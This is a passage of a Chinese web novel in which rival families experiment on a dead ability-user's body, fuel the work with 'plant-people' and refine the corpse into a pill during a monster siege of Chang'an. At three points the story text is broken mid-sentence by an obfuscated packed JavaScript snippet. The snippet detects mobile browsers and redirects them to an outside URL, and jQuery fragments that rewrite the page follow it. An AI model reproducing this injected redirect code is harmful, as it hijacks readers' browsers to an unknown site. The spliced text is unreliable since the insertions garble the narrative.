为什么柳家和赵家的合作如此紧密——柳家需要稳定的素材供应,赵家则掌握着“植化人”的培育技术,两家早就被利益死死捆绑在一起。 这张利益网的复杂程度,比不明真相的人想的要牢固的多。 若是张玉汝能看到这一切,他生前的种种疑惑定会迎刃而解:柳家的背后不只是李家,还有赵、秦、魏三家的支撑;那些消失的流民、斗场的能力者,不过是利益链条上最廉价的消耗品;而赵家的“植化人”,才是这场实验最核心、最隐秘的素材来源。 赵家送来的“植化人”素材,果然成了破局的关键。 当第一株植化人的根茎被接入能量管线,淡粉色的“汁液”顺着管线缓缓流入张玉汝躯体时,监测仪屏幕上的曲线瞬间剧烈跳动——比之前任何一次实验都要迅猛。 黑色光点从张玉汝指尖蔓延至小臂,像活过来的藤蔓般缠绕游走,最终在他胸口汇聚成一团微弱的光团。 “能量共鸣强度92%!远超普通人类素材!”助手兴奋的喊声在实验区回荡,柳明远死死盯着屏幕,手指飞快调整着仪器参数,“继续注入!保持这个频率,别断!” 植化人的优势在此刻展现得淋漓尽致:它们没有活人那样的能量反噬,“汁液”中的能量稳定且纯粹,能持续不断地与张玉汝躯体产生共鸣。 赵家长年积累的培育技术,让这些植化人批量供应毫无压力——实验室外,赵家的侍从还在源源不断地抬来新的黑陶坛子,破碎的坛片在角落堆成小山,没人在意这些“植物”的“死亡”,只关心能量共鸣能否持续。 在不计成本的消耗下,三天三夜没停歇的实验终于迎来了突破。 当第七十二株植化人的能量注入完毕时,张玉汝胸口的光团突然**成两团——一团泛着纯净的白色,像凝结的月光;一团透着深邃的黑色,像浓缩的墨汁。两团光团在空中悬浮片刻,便迅速收缩,最终凝结成两枚鸽子蛋大小的晶体,落在铺着黑丝绒的托盘上。 “成了!”柳明远激动得声音发颤,小心翼翼地捧着托盘走向观察室。 叶平几乎是立刻凑了上去,目光落在晶体上便再也挪不开——白色晶体通透无瑕,表面流转着细碎的光纹,仿佛藏着无数个加速的瞬间。 黑色晶体则暗沉厚重,指尖靠近时能感受到一股扭曲的吸力,像是能颠倒周围的时空。 他的呼吸渐渐急促,脸上浮现出近乎痴迷的表情,伸手想触碰,又怕破坏了这来之不易的成果。 “这两枚晶体,分别蕴含着「加速世界」和「颠倒世界」的能力效果。”李默的声音带着抑制不住的满意。 “我们测试过,只要向白色晶体注入力量系能力者的能量,就能催动「加速世界」,让使用者的思维、动作速度提升三倍以上;黑色晶体则能触发「颠倒世界」,短时间内扭曲周围的能量体,比如让攻击反向、倒置。” 叶平迫不及待地让助手取来一枚力量系能量晶核,小心地将能量注入白色晶体。 瞬间,他感觉周围的世界仿佛慢了下来——实验区人员的动作变得迟缓,李默说话的声音被拉长,唯有他自己的思维清晰得可怕,连空气中漂浮的尘埃轨迹都能看得一清二楚。 这种“掌控时间”的感觉,让他浑身血液沸腾。 “好……太好了!”叶平猛地收回能量,脸上的痴迷更甚,眼底闪烁着贪婪的光芒。 “只要能把张玉汝身上的所有秘密都挖出来——不管是其他能力,还是能量晶体的复制方法,叶家绝对会给我最高规格的资源扶持!到时候,我甚至能在先导会里压过其他嫡系一头!” 他死死盯着托盘上的两枚晶体,仿佛看到了自己未来权势滔天的景象。 实验区外,赵家送来的植化人坛子还在不断增加,破碎的坛片与残留的淡粉色汁液在地面蔓延,像一道无声的注脚——记录着这场用“植物人”堆砌起来的“成果”,也预示着为了挖掘更多秘密,他们还会变得更加疯狂。 实验区的空气里弥漫着淡粉色的植化人汁液气味,与仪器运转的热浪交织在一起,形成一种怪异的焦灼感。 张玉汝的尸体依旧被固定在中央实验台上,只是周身缠绕的管线多了数十根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521587|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,每根管线都连接着一株新的植化人。 随着植化人能量的持续注入,他躯体表面不断有细碎的光点析出。 白色光点凝结成「加速世界」晶体,黑色光点聚合成「颠倒世界」晶体,像流水线作业般,被机械臂自动收集到透明的收纳盒中。 整个实验室彻底变成了一座“能力道具工厂”:柳家的专家负责监控能量平衡,赵家的侍从源源不断地搬运植化人坛子,秦家的人则统计晶体产量,每个人都被“量产晶体”的狂热包裹着。 收纳盒里的晶体越堆越多,透明的盒子被黑白二色填满,折射出冰冷的光泽,仿佛装着能颠覆能力者格局的财富。 可叶平的脸色却一天比一天难看。 他站在收纳盒前,指尖划过那些纯粹的晶体,眼底满是失望——他们的确实现了“量产”,却只得到了张玉汝最基础的两个觉醒能力。 那些更强大的能力变化,比如能杀伤寿命的「枯荣」、能预判攻击的「造化之眼」,连一丝能量痕迹都没能析出。 “只有这两个?”他猛地攥紧拳头,指甲掐进掌心,“我们耗费了这么多植化人,只拿到这种基础能力?” 柳明远站在一旁,语气带着无奈:“叶大人,我们已经尝试了所有能想到的方法,无论是调整能量频率,还是更换植化人品种,都无法触发其他能力的共鸣……或许,那些高阶能力需要更特殊的触发条件,甚至可能与张玉汝的意识有关,现在他躯体已经失去活性,根本无法激活。” 叶平的失望还没平息,一道急促的通讯器铃声突然打破了实验室的狂热。 李默接起通讯,脸色瞬间沉了下来,挂断后,他快步走到叶平身边,声音压得极低:“坏消息,雍州边境的异兽已经突破了三道防线,现在正朝着长安城聚拢,规模至少有上百万只——城防司说,这种规模的异兽群,有五成概率攻破长安城的外层防御。” “什么?”叶平猛地抬头,脸上的失望瞬间被震惊取代,“那实验怎么办?这里距离边境太近,一旦异兽攻城,实验室肯定会被波及!” “必须立刻转移实验地点。”李默的手指无意识地敲击着桌面,语气里满是焦虑,“可问题就在这里——一旦转移,我们未必能保住实验的主导权。” 叶平瞬间明白了他的意思。 最初启动实验时,所有人都以为只是“研究一具特殊大师级尸体”,没多少人在意,李家只派了李默负责,叶家也只让他来盯着。 可随着黑白晶体的产出,越来越多的人盯上了这块“蛋糕”——李家的核心长老、叶家的其他嫡系,甚至先导会里的某些天人,都在暗中关注实验进展。 那些人的地位远高于李默和叶平,之所以没插手,只是因为找不到合适的理由。 “一旦转移地点,他们肯定会以‘保障实验安全’‘统筹资源’为借口介入。”叶平的声音带着一丝颤抖。 这并非恐惧,而是愤怒。 他太清楚家族内部的规则了——没有利益时,人人避之不及;有了利益,所有人都会蜂拥而上,将原本的主导者挤到边缘。 他想象着自己辛苦盯着实验,最后却只能眼睁睁看着成果被其他人瓜分,甚至连一杯羹都分不到,心底就涌起一股强烈的不甘。 李默的脸色也好看不到哪里去。 他为这场实验投入了大量心血,甚至动用了自己在李家的人脉,若是主导权被夺走,之前的努力就全白费了。 “我们不能让这种事发生。”他深吸一口气,目光重新落在实验台上的张玉汝身上,“必须在转移前找到突破口——要么挖出其他高阶能力的秘密,用成果巩固我们的主导权;要么找到一个能避开那些人插手的转移方式,把实验牢牢抓在手里。” 实验室里的机械臂还在不停地收集晶体,收纳盒里的黑白二色越来越多。 窗外传来远处城防的警报声,隐约能听到士兵的呐喊,异兽围城的阴影越来越近,而实验室的“争夺”,也在悄然酝酿。 第 43章 夺利 时间不等人,一切的变化都是如此之快,原本还能支撑的防线迅速告破,异兽和能力者军团的大战带来的余波自远处传到长安城中。 城墙的震动顺着地面传到实验室,连固定张玉汝躯体的合金支架都跟着微微摇晃。 窗外的警报声早已从间断的“呜鸣”变成了持续的“长嘶”,偶尔还夹杂着异兽的咆哮——那是能撕裂钢铁的嘶吼,隔着厚厚的实验室墙壁,依旧让人心头发颤。 柳明远匆匆走进观察室,手里攥着一张皱巴巴的城防通报。 他的脸色发白:“叶大人,李大人,刚才城防司传来消息,西南角城墙被一头‘腐蚀巨蜥’撞出了缺口,虽然暂时堵上了,但异兽群还在疯涌,已经有平民开始往内城逃了……刚才我去仓库取植化人坛子,看到街上全是抢物资的人,魏家的安保队都快拦不住了!” 叶平走到窗边,掀开厚重的黑布一角——远处的长安城城墙隐约可见,原本青灰色的墙体此刻被异兽的墨绿色腐蚀液染得斑驳。 城头上的火光冲天,箭矢与能量光束像暴雨般射向兽群,却依旧挡不住那些源源不断涌来的异兽。 有长着骨刺的“奔雷兽”在地面狂奔,有展开翅膀的“噬魂鸟”在低空盘旋,最显眼的是那头撞破城墙的腐蚀巨蜥,正用布满鳞片的头颅反复撞击临时修补的缺口,每一次撞击都让城墙抖得更厉害。 “照这个速度,撑不过三天。”李默的声音带着前所未有的凝重,他刚收到李家城防部的密报,外层城墙的能量护盾已经损耗了七成,再没有支援,破城只是时间问题。 外界的异兽冲击所带来的压力迫在眉睫。 可比起城外的异兽,更让两人窒息的,是来自家族内部的“暗流”。 叶平的通讯器突然震动,屏幕上跳出“四长老”的名字,他深吸一口气才接起,听筒里立刻传来长老威严的声音:“叶平,实验进展如何?黑白晶体的量产数据整理好了吗?家族已经决定,派叶恒去协助你——他经验丰富,能帮你把控实验方向,避免在危急时刻出岔子。” 叶平的心脏猛地一沉。 叶恒是叶家另一位嫡系,一直和他明争暗斗,所谓的“协助”,分明是来**的!他急忙开口:“长老,实验现在很顺利,我能把控住……” “不必多说。”长老打断他,语气带着不容置疑的强硬。 “叶恒明天就到,你把实验数据准备好,配合他的工作。记住,这是整个家族的利益,不要因为一己私利破坏家族的大计。” 通讯被直接挂断,叶平攥着通讯器,指节捏得发白——他太清楚了,一旦叶恒到来,他辛苦盯了这么久的实验,就会变成别人的“功劳”。 叶平这边刚挂掉,李默也收到了消息。 他的堂叔,李家核心层的李宏,特意找他谈话,语气看似温和,实则暗藏锋芒:“默儿,现在长安危急,实验不能出任何差错。家主已经在考虑,让更资深的人来统筹实验转移事宜,你年轻,经验浅,别在这个时候担太重的担子,免得落人口实。” “更资深的人”,指的是李家嫡系的李肃——那人一直觊觎实验主导权,之前没机会插手,现在终于找到了“局势危急”的借口。 李默攥紧拳头,他知道,这是家族里那些“长辈”的意思——他们看到了黑白晶体的价值,想在转移前把主导权抢过去,至于他这个“开拓者”,用完了就可以随手抛开。 “他们根本不在乎实验能不能成,只在乎能不能抢到成果。”叶平的声音带着一丝自嘲,他刚收到叶恒发来的消息,对方直接问他“晶体储存室的密码”,连伪装都懒得做。 李默苦笑一声,他的桌面放着刚收到的“建议”——李肃提议,转移实验时,让柳家直接把晶体和张玉汝的尸体交给“统筹组”,叶平和他只需要“协助运输”。 这哪里是协助,分明是彻底剥夺他们的主导权。 实验室的震动又加剧了几分,远处传来“轰隆”一声巨响,柳明远慌张地跑进来:“西南角缺口破了!异兽已经冲进外城了!” 叶平猛地看向李默,两人眼中满是不甘的挣扎:转移,实验主导权会被抢走,所有努力都白费;不转移,异兽破城,实验会和外城一起毁灭,到了那个时候,自己还会背上其他的责任。 窗外的火光越来越近,通讯器里还在不断弹出家族的“指令”,像一张无形的网,将他们死死困在中间——城外是**的异兽,城内是抢功的“自己人”,他们仿佛站在悬崖边,往前是死,往后也是死。 柳明远看着两人的脸色,小声问:“那……实验还继续吗?植化人还剩最后一批了……” 叶平攥着拳头,指甲几乎嵌进肉里,他盯着实验台上的张玉汝,眼底闪过一丝疯狂:“继续!就算要转移,我也要在叶恒来之前,挖出点新东西——至少要让家族知道,这个实验,离了我不行!” 李默深吸一口气,点了点头:“对,继续。我们不能就这么认输。” 虽然在做着丧尽天良的事情,主要的目的也是为了自己的利益,但是李默和叶平却弄出了一种什么热血男主角的模样。 —————————————————————————— 不过它们俩虫豸自然不可能像真正的热血男主角一样,喊着羁绊友情什么的就创造出奇迹。 实验室里的机械臂还在有条不紊地收集着黑白晶体,透明收纳盒里的光芒映在叶平脸上,却没让他生出半分喜悦——反而让他愈发焦躁。 他走到窗边,推开一条缝隙,远处长安城的方向隐约传来沉闷的兽吼,偶尔还能瞥见城墙上腾起的火光,异兽围城的危急像一根无形的鞭子,时刻抽在他心头。 而口袋里的通讯器震动不停,叶家其他派系的那些人发来的消息一条比一条露骨:“实验进展如何?若需转移,叶家可派长老统筹”“晶体样本已收到,后续研究需由家族核心团队接手”,字字句句都在觊觎他和李默攥在手里的“成果”。 叶平缓缓关上窗户,转过身时,脸上的焦虑被一种近乎破釜沉舟的凝重取代。他盯着实验台上张玉汝的尸体,又看了眼收纳盒里堆叠的晶体,沉吟许久,才终于开口,声音带着一丝不易察觉的颤抖:“实验可以继续做,但是不能继续按照原来的方法来做。” 李默正低头看着城防司发来的紧急通报,闻言抬头,眼中闪过一丝疑惑。 叶平走到收纳盒前,指尖敲了敲盒壁,语气里满是不甘:“你看这些晶体,的确能催动「加速世界」和「颠倒世界」。” “可是这又能怎么样?对那些家族长老、天人高层来说,这种基础能力的道具,顶多算是‘不错的耗材’,根本不足以让他们放弃插手——我们拿这些晶体去争取主导权,就像拿米粒去换黄金,分量太轻了。” 他顿了顿,想起昨天叶家大长老的通讯——对方语气平淡,却字字施压,暗示若他不能拿出“更有价值的成果”,就该把实验主导权交给“更有能力的人”。 而李默那边,想必也收到了李家核心层的类似暗示。 叶平深吸一口气,继续道:“现在这种情况,保底没有任何意义。” “异兽随时可能破城,那些人也随时可能找上门来,我们不能再想着‘稳定产出晶体’,必须赌一把,找能提高上限的方法——要么炼出足以震慑所有人的高阶能力道具,要么……”他没说下去,但眼神里的狠戾已经说明了一切。 李默沉默着点头,他何尝不明白这个道理? 只是“赌一把”的风险太大,一旦失败,不仅成果尽失,他们还要承担“损毁素材”的责任。 他看着叶平变幻不定的面色——从犹豫到挣扎,再到咬牙切齿的坚定,知道对方已经做出了决定。 果然,叶平猛地攥紧拳头,快步走到李默面前,压低声音,一字一句地问:“你有没有听说过炼丹之法?” “炼丹之法?”李默的脸色瞬间变了,手里的通报单都差点滑落。 他当然知道这种方法——那是一种早已被限制使用的古老秘术,它并非真的“炼丹”,而是将能力者的躯体当作“鼎炉”,用特殊的能量催化手段,强行萃取躯体深处隐藏的核心能力因子,并赋予在某些器物上。 在这个过程中需要融合大量高纯度能量,稍有不慎就会引发能量暴走。 而一旦成功,便有可能得到一件超出能力者本身已经开发出的能力的宝物。 张玉汝从白镜手中得到的碎空镜的核心其实就是一名空间类能力者的被炼制出的核心。 他盯着叶平,语气里满是震惊:“你确定要用这种方法?我得提醒你,这种秘术根本没有定数——张玉汝的躯体里能不能炼出高阶能力道具,谁也保证不了,可一旦启动,他的躯体肯定会在能量催化下彻底崩解,连一丝修复的可能都没有。” 李默的声音压得更低,带着几分凝重:“你想过后果吗?如果炼不出有分量的成果,反而毁了唯一的素材,家族内部那些人绝不会善罢甘休——他们会把‘浪费资源’‘办事不力’的罪名全扣在我们头上,到时候别说好处,我们能不能保住现有的地位都难说。” 叶平的面容在实验室的冷光下显得有些狰狞。 他想起那些等着摘桃子的家族高层,想起这次实验若失败就再也没有翻身的机会,眼底的犹豫彻底被疯狂取代:“我意已决!” 他一拳砸在旁边的实验台上,震得上面的试管微微晃动,“我已经受够了这帮只会拖后腿的虫豸。” “这次好不容易抓住机会,要是不能拿到最大的好处,反而让别人坐享其成,那我宁愿毁了这一切!反正左右都是难,不如赌一把——成了,我们就是家族的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525947|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功臣;败了,大不了鱼死网破,谁也别想好过!” 李默看着叶平眼底的疯狂,又想起李家那些长老的嘴脸——他们早就盯着实验成果,若自己乖乖交出主导权,后续功劳肯定没自己的份,甚至可能被当作“弃子”推出去承担办事不利的责任。 一股不甘涌上心头,他的眼神渐渐变得锐利,原本的顾虑被决绝取代:“好!那就干了!” 他攥紧拳头,指尖泛白,“那些人想摘我们的桃子,真当我们是任人拿捏的软柿子?就算是赌,也得让他们看看,我们不是好惹的!” 实验室里的仪器嗡鸣声似乎更响了,窗外的兽吼声隐约传来,内外的压力像两座大山压在两人心头,可他们眼中却燃起了相同的火焰——一种被逼到绝境后,破釜沉舟的决绝。 叶平转身的动作带着不容置疑的急切,快步走向柳家专家所在的控制台,手掌重重拍在桌面上,震得上面的实验记录纸哗哗作响。 “立刻停下晶体收集!”他的声音压得极低,却透着一股狠劲。 “所有人都过来,准备材料,催化药剂要最高浓度的‘融灵液’,能量阵盘得用赵家送来的‘聚能阵’,还有,把实验室中央的测试台改造为‘鼎炉基座’,半小时内必须完成!” 柳明远闻言一愣,刚想追问“融灵液腐蚀性极强,会损伤张玉汝躯体”,就被叶平凌厉的眼神打断:“别管那么多!按我说的做,出了任何问题我担着!” 他知道叶平此刻已是破釜沉舟,再争辩只会耽误时间,只能立刻召集助手,将仓库里封存的融灵液搬出来——暗紫色的液体装在特制的水晶瓶里,透着危险的光泽,哪怕只是靠近,都能感受到空气中弥漫的灼烧感。 助手们手忙脚乱地改造测试台,将聚能阵盘嵌入台面四周,阵盘上的纹路在能量激活后泛着淡金色的光,与实验区的冷白光形成鲜明对比,像一张即将吞噬一切的网。 另一边,李默握着通讯器,指尖悬在屏幕上方片刻,最终还是按下了“发送”键——给李家核心层的消息措辞温和:“实验已暂停晶体收集,正整理数据准备转移,预计三小时后启程,需家族派卫队接应。” 可消息发出的瞬间,他立刻切换到另一个加密频道,拨通了一个备注为“林”的号码。 “是我。”他的声音低沉。 “把你手里的‘影卫’调过来,守住实验室的四个出口,任何人——包括李家的卫队,没我的命令都不许进来。另外,准备好‘障眼法’,伪造实验设备搬运的假象,别让任何人发现我们在做什么。” 电话那头传来恭敬的回应,李默挂断通讯后,抬头看向实验区中央——叶平正盯着融灵液瓶,柳家专家在调试聚能阵,空气中的紧张感几乎要凝固。 他很清楚,这场冒险一旦开始,就没有回头路:成功了,他们能炼出远超黑白晶体的高阶能力道具,凭此在家族中站稳脚跟,甚至压过那些觊觎成果的高层。 失败了,不仅张玉汝的躯体彻底报废,他们还会背上“擅用禁术、浪费素材”的罪名,下场恐怕比被夺走主导权更惨。可即便如此,他也没有丝毫犹豫——就像叶平说的,鱼死网破,总比任人拿捏好。 其实,这不只是叶平与李默的选择。 在天人家族的体系里,像他们这样的“中层嫡系”,看似风光,实则处处受限:上面有长老层牢牢掌控着权力与资源,下面有无数人虎视眈眈,稍有不慎就会被取代。 他们一生都在等待一个“鱼跃龙门”的机会——一个能让他们摆脱桎梏、跻身核心的契机。 而这次研究张玉汝的躯体,就是这样的机会。 若是为了一时的安稳,乖乖交出主导权,看着成果被别人夺走,看着自己多年的努力变成他人的垫脚石,那么往后余生,每当想起这件事,都会像一根刺扎在心头,日夜不得安宁。 就像李家之前的一位旁系子弟,曾在一次异兽围剿中率先发现了稀有矿脉,却因为怕得罪长老层,主动将矿脉控制权上交,最后只得到了一点微薄的“奖励”。 后来那位子弟看着长老靠矿脉赚得盆满钵满,自己却依旧在中层挣扎,终日用酒消愁,不到四十岁就郁郁而终。 这样的例子,在天人家族的历史里数不胜数。 贪婪是真的——他们渴望得到高阶能力道具带来的权力与利益;决心也是真的——他们宁愿毁掉一切,也不愿让别人轻易摘走自己辛苦种下的“桃子”。 实验区里,融灵液被缓缓倒入改造后的测试台,聚能阵盘的光芒越来越亮,张玉汝的躯体在阵盘中央微微泛起红光,一场赌上未来的冒险,终于正式拉开了序幕。 窗外的兽吼声似乎更近了,城墙上的火光也愈发刺眼,可实验室里的两人,却仿佛隔绝了外界的一切,眼中只剩下眼前的“鼎炉”与即将到来的未知结果。 第 44章 炼丹 实验室中央的测试台已彻底改造成“鼎炉基座”。 青黑色的花岗岩台面被凿出八卦纹路,赵家送来的聚能阵盘嵌入其中,阵眼处镶嵌着七颗拳头大的能量晶核,一经激活,淡金色的光纹便顺着纹路游走,像活过来的金龙,将张玉汝的躯体牢牢困在中央。 柳家的专家们戴着特制的防护手套,将暗紫色的融灵液缓缓倒入阵盘凹槽。 液体触碰到光纹的瞬间,立刻腾起刺鼻的白雾,白雾中竟夹杂着细碎的火星,落在地面上还能烧出细小的黑洞,看得人头皮发麻。 叶平站在观察屏前,手心全是冷汗,却死死盯着屏幕上张玉汝躯体的数据。 这场景让他莫名想起家族古籍里记载的“八卦炉炼丹”传说。 只是此刻的“鼎炉”是活生生的躯体,想要炼出的“丹药”则是未知的高阶能力因子。 李默守在控制台旁,手指悬在“启动”按钮上,目光扫过实验室四周的影卫,确认所有出口都已封锁,才对叶平点头:“可以开始了。” 叶平深吸一口气,抬手示意。 柳明远按下启动键的瞬间,聚能阵盘的光纹骤然暴涨,七颗晶核同时爆发出刺眼的光芒,将整个实验室照得如同白昼。 聚能阵盘的金色光纹彻底亮起时,张玉汝的躯体首先发生了变化。 原本苍白如纸的皮肤,在光罩的包裹下渐渐泛起淡红色,像是被温水浸泡过。 可仔细看去,皮肤下的**细血管正以肉眼可见的速度扩张,青紫色的血管纹路从四肢蔓延至胸口,像一张细密的网,将心脏位置牢牢缠住。 暗紫色的融灵液顺着阵盘凹槽流到他的脚踝,液体触碰到皮肤的瞬间,竟像有生命般顺着血管纹路向上攀爬。 所过之处,皮肤泛起一层细密的水泡,水泡破裂后没有流出脓液,反而腾起一缕缕白色雾气,雾气中夹杂着极淡的血腥味,飘到空中便被金色光纹灼烧殆尽。 紧接着,光罩开始收缩,巨大的压力从四面八方挤压过来,张玉汝苍白的躯体竟被压得微微变形,皮肤下的血管清晰可见,仿佛随时会爆裂。 “催化开始,能量渗透率15%!”柳明远紧盯着监测屏,声音里满是紧绷。 叶平攥着拳头,看着张玉汝的手指微微蜷缩。 那是躯体本能的应激反应,可在融灵液的腐蚀下,张玉汝指尖的皮肤已开始剥落,露出淡粉色的皮肉,皮肉接触空气的瞬间,又被光罩的高温烤得微微发焦,冒出细小的火星。 李默站在一旁,突然指着屏幕:“看心脏区域!” 众人目光聚焦过去,只见张玉汝胸口的血管纹路突然亮起,青紫色中竟掺了一丝黑色,黑色顺着血管游走,最终在心脏位置汇聚成一个芝麻大小的黑点。 就在黑点出现的瞬间,聚能阵盘突然剧烈晃动,七颗能量晶核中有一颗发出“咔嚓”声,表面出现了细微的裂痕——晶核在提供能量的同时也是一种应急防护措施。 这是第一次意外。 “晶核能量不稳定!是张玉汝躯体的反作用力!” 柳明远大喊,助手立刻将备用晶核插入阵盘,可新晶核刚启动,就被那股黑色能量吸走了大半能量,晶核表面的光芒瞬间黯淡下去。 叶平咬牙道:“加大融灵液剂量!强行压制反作用力!” 柳家专家立刻将另一瓶融灵液倒入凹槽,暗紫色液体汹涌地涌向张玉汝的躯体,这一次,液体直接渗进了他胸口的皮肤,没有再形成水泡,而是顺着黑色纹路钻进心脏位置的黑点。 张玉汝的躯体突然剧烈抽搐起来,四肢绷得笔直,原本紧闭的双眼竟微微睁开一条缝,眼白中布满了血丝,可瞳孔里没有任何神采,只有一片空洞的漆黑——那是躯体深处的能量被强行唤醒的征兆。 “能量渗透率40%!检测到「颠倒世界」能量波动!” 监测屏上的黑色光点突然扩大,张玉汝的躯体表面开始浮现出细碎的黑色晶体,晶体刚一出现,就被金色光纹融化,变成黑色的液体,顺着皮肤流到阵盘上,将原本金色的光纹染成了黑金色。 可就在这时,实验室的通风系统突然发出“嗡嗡”的异响,一股冷风从通风口灌了进来,冷风接触到光罩的瞬间,光罩表面竟凝结出一层白霜——这是第二次意外。 “通风系统被能量干扰了!快关闭通风口!”李默下令。 影卫们立刻冲过去,用铁板封住通风口,可已经晚了,光罩的温度骤降,融灵液的腐蚀速度变慢,张玉汝躯体的抽搐也渐渐停止,心脏位置的黑点甚至开始缩小。 “不能停!用能量晶核加热光罩!” 叶平急得额头冒汗,助手们立刻将十颗备用晶核堆在阵盘周围,晶核同时爆发出热量。 金色光纹重新变得炽热,光罩内的温度迅速回升,黑色液体再次开始流动,张玉汝躯体的皮肤又恢复了淡红色,只是这一次,皮肤下的血管纹路变成了黑白交织的颜色,像两股水流在体内纠缠。 随着时间推移,能量渗透率渐渐达到70%,张玉汝的躯体发生了更惊人的变化。 他的骨骼开始发光,从手腕到肩膀,淡金色的光芒透过皮肤映出来,像体内藏了一根金色的骨头,而骨骼周围的肌肉则呈现出黑色,黑白对比之下,整具躯体看起来诡异又震撼。 心脏位置的黑点已经扩大到拳头大小,黑点中不断有黑白交织的能量溢出,在光罩内形成小小的漩涡,漩涡转动时,实验室里的仪器都开始轻微震动,桌面上的试管纷纷倒下,摔碎在地面上。 “最后一步!注入力量系能量!触发核心共鸣!”柳明远嘶吼着。 一名被押来的力量系能力者被强行推到阵盘旁,管线刺入他的手臂,淡金色的能量顺着管线涌入光罩,直接冲进张玉汝心脏位置的黑点。 就在能量注入的瞬间,第三次意外发生了——聚能阵盘的八卦纹路突然崩裂,一道黑色能量从裂缝中冲出,直直撞向实验室的墙壁,墙壁被撞出一个大洞。 外面的兽吼声清晰地传了进来。 “阵盘要塌了!”影卫们立刻用身体挡住裂缝,可阵盘的光芒还是在快速减弱,光罩开始变得透明,随时可能消散。 就在所有人都以为实验要失败时,张玉汝的躯体突然爆发出刺眼的黑白光芒,光芒瞬间笼罩了整个实验室,所有人都下意识地闭上了眼睛。 等光芒散去,众人睁开眼时,都被眼前的景象惊呆了。 就在所有人都以为实验要失败时,张玉汝的躯体突然爆发出刺眼的黑白光芒,光芒瞬间笼罩了整个实验室,所有人都下意识地闭上了眼睛。 等光芒散去,众人睁开眼时,都被眼前的景象惊呆了。 原本固定在阵盘上的张玉汝躯体消失了,取而代之的是一颗足球大小、通体圆润的丹药。 丹药表面布满了黑白交织的螺旋纹路,纹路像活过来般缓缓流动,时而浮现出「加速世界」特有的白色光华,时而闪过「颠倒世界」的黑色剪影。 丹药中央还萦绕着一缕淡淡的能量光晕,轻轻浮动,仿佛蕴含着无尽的力量。 这便是他们耗尽心血炼出的——混元大丹。 “这……这就是混元大丹?”助手喃喃自语,声音带着难以置信的颤抖,伸手想去触碰,却被丹药表面的能量光晕弹开,指尖传来一阵酥麻的触感。 叶平快步走到丹药前,眼中满是痴迷,他小心翼翼地伸出手,掌心刚靠近丹药,就感受到一股磅礴的能量顺着掌心涌入体内,脑海中甚至隐约浮现出“加速”“颠倒”的能力印记,让他忍不住发出一声满足的喟叹。 李默也走了过来,目光紧紧锁在混元大丹上。 他的指尖轻轻摩挲着下巴:“没想到真的成了……这颗大丹里,恐怕凝聚了张玉汝所有的能力核心,只要能炼化,别说「加速世界」和「颠倒世界」,说不定连他隐藏的高阶能力都能掌握!” 阵盘彻底崩裂,能量晶核散落在地面上,实验室的墙壁还破着一个大洞,外面的兽吼声依旧刺耳。 可此刻,所有人的目光都集中在这颗黑白交织的混元大丹上——这场充满意外的炼丹,终究没有白费。 混元大丹悬浮在破碎的阵盘中央,黑白纹路流动的光晕映在每个人脸上,叶平正痴迷地研究着丹药表面的能量波动。 柳明远在快速记录炼丹数据,李默则在调度影卫清理破损的仪器——所有人都沉浸在“炼成高阶丹药”的兴奋中,完全没意识到时间的流逝。 实验室里没有昼夜交替,只有仪器的嗡鸣和丹药的微光,仿佛外界的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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左侧老者穿着叶家标志性的墨色长袍,胸前绣着金色的叶家徽章,是叶家的长老叶鸿;右侧老者则穿着李家的月白长袍,袖口绣着祥云纹,是李家的核心长老李嵩。两人身后还跟着数十名精锐子弟,个个气息强大,显然是冲着实验室来的。 叶平与李默的脸色瞬间沉了下来——他们最担心的事情,还是发生了。 叶鸿的目光扫过破碎的阵盘和满地的狼藉,最后落在叶平身上,语气带着不容置疑的威严:“叶平,实验进行得如何?张玉汝的尸体在哪里?立刻交出来,由家族接手后续事宜。” 李嵩也开口,目光盯着李默:“李默,你私自调动影卫,家族已经知晓。现在异兽破城,情况危急,张玉汝的尸体作为关键素材,必须由家族统一保管,你二人不得再插手。” 叶平紧紧攥着怀里的能量容器,心底涌起一股强烈的不甘——他们赌上一切炼出混元大丹,甚至错过了最佳的逃生时机,现在这些高层却像摘桃子一样,一句话就要夺走所有成果。 他强压下怒火,冷声道:“长老,现在异兽已经杀到门口,实验室随时可能被攻破,当务之急是突围逃生,不是追究责任、索要尸体!” “放肆!”叶鸿厉声呵斥,“家族自有安排,轮得到你在这里指手画脚?我再问一遍,张玉汝的尸体在哪里?” 他的目光在实验室里扫视,似乎在寻找尸体的踪迹,却没注意到叶平怀里的能量容器。 在他们看来,“张玉汝的尸体”才是最有价值的素材,根本没料到叶平已经将其炼成了丹药。 李默也上前一步,挡在叶平身前,语气坚定:“李长老,炼丹是我和叶平共同决定的,与其他人无关。现在外面异兽环伺,若再拖延,我们所有人都走不了!等突围之后,我自会向家族解释一切,但现在,恕我不能交出‘素材’。” 叶鸿和李嵩的脸色变得难看,他们没想到叶平与李默竟敢公然违抗命令。 